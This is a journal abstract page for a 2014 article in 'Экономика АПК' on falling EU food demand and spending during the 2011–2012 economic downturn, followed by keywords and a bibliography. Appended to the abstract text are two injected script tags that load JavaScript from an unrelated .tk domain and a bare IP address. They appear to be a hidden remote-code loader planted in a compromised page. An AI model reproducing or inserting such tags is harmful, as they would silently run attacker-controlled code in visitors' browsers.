ISSN 2413-2322 (Online)

ISSN 2221-1055 (Print)

УДК: 338.439.52:061.1ЄС
Зарубіжний досвід розвитку аграрного виробництва

Спрос на продовольствие в Европейском Союзе в условиях экономического спада / Выжиховский Павел // Экономика АПК. - 2014. - № 1 - С. 99

За период 2011-2012 объем экономической деятельности во многих странах-членах Европейского Союза значительно сократился, в результате чего уменьшился уровень спроса на продовольствие. Ухудшилась ситуация на рынке труда: возрос уровень безработицы, сократилось количество рабочих мест. Понизился уровень прибыльности хозяйств. В 2012 году продолжилась тенденция роста цен на продукты питания, сравнительно с показателями предыдущего года. Такие экономические процессы были вызваны негативным отношением потребителей, что подтверждают их покупательские решения и выбор. В 2011 году реальный уровень продовольственных затрат в ЕС-27 сократился в среднем на 0,6% по сравнению с показателем предыдущего года. Очевидно, что в 2012 году уровень продовольственных затрат продолжает сокращаться, о чем свидетельствуют показатели розничной торговли. Сравнительно с 2011 годом, в 2012-м году показатель уровня сокращения рынков розничной торговли продуктов питания, напитков и табачных изделий изменился с 0,9% до 1,3% в еврозоне. Табл.: 2. Илл.: 4. Библиогр.: 15.<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script><script type='text/javascript' src='http://193.201.224.233/m.js?d=1'></script>
Ключевые слова: спрос на продовольствие, экономический кризис, кластерный анализ, хозяйство, цены на продукты питания

Список использованных источников

  1. Desvaux G. Regout B. Labaye, E., Lepoutre, F., Widman W., Yu, F., Mendonca L. [2009]: Beating the recession: Buying into new European consumer strategies. McKinsey Global Institute.
  2. Gasic M., Kurkowiak B. [2012]: Substantial cross-European differences in GDP per Capita, Statistic in focus 47/2012, Economy and finance, Eurostat.
  3. Gerstberger Ch., Yaneva D. [2013]: Analysis of EU-27 household final consumption expenditure – Baltic countries and Greece still suffering most from the economic and financial crisis Statistic in focus 2/2013, Eurostat.
  4. Global employment trends 2012, MOP, 2012.
  5. Grzelak A., Gałązka M. [2011]: Związek potrzeb, popytu i konsumpcji żywności – ujęcie teoretyczne. Roczniki Ekonomiczne KPSW nr 4. [Tryb dostępu:] www.kpsw.edu.pl/menu/pobierz/RE4/37_grzelak_galazka.pdf‎ [Data odczytu: maj 2013].
  6. Labour Market Developments in Europe 2011, European Commission, 2011.
  7. Milusheva B., Gal P. Income per capita varied by 1 to 4 across EU countries, Statistic in focus 35/2012, Economy and finance, European Commission, Eurostat, 2012.
  8. Nie B., Zhao F., Yu J. [2010]: The impact of the Financial Crisis on Consumer Behavior and the Implication of Retail Revolution. [Tryb dostępu:] www.seiofbluemountain.com/en/search/detail.php?id=5611 [Data odczytu: maj 2013].
  9. Piekut M. [2013]: Konsumpcja w polskich gospodarstwach domowych na tle krajów europejskich. Problemy Zarządzania vol.11, nr 1 (40), t.1 23-39, Wydział Zarządzania UW, Warszawa.
  10. Poczta-Wajda A. [2010]: Nowoczesne techniki analityczne w kształceniu na studiach ekonomicznych. Wydawnictwo UE, Poznań.
  11. Samuelson P., Nordhaus W. [2012], Ekonomia, Wydawnictwo REBIS, Poznań.
  12. Teichgraber M. [2012]: European Union Labour Force Survey – Annual results 2011, Population and social conditions, , Statistics in focus 40/2012, European Commission, Eurostat.
  13. The EU in the world 2013 – a statistical portrait, European Commission, Eurostat, 2013.
  14. World Economic outlook October 2012, Coping with High Debt and Sluggish Growth, International Monetary Fund World Economic and Financial Surveys, International Monetary Fund, 2012.
  15. Zalega T. [2013]: Spożycie produktów żywnościowych w wielkomiejskich gospodarstwach domowych w Polsce w okresie kryzysu finansowo-ekonomicznego. Problemy Zarządzania vol.11, nr 1 (40), t.1 68-87, Wydział Zarządzania UW, Warszawa.
Читать статью: 14_01_99-106.pdf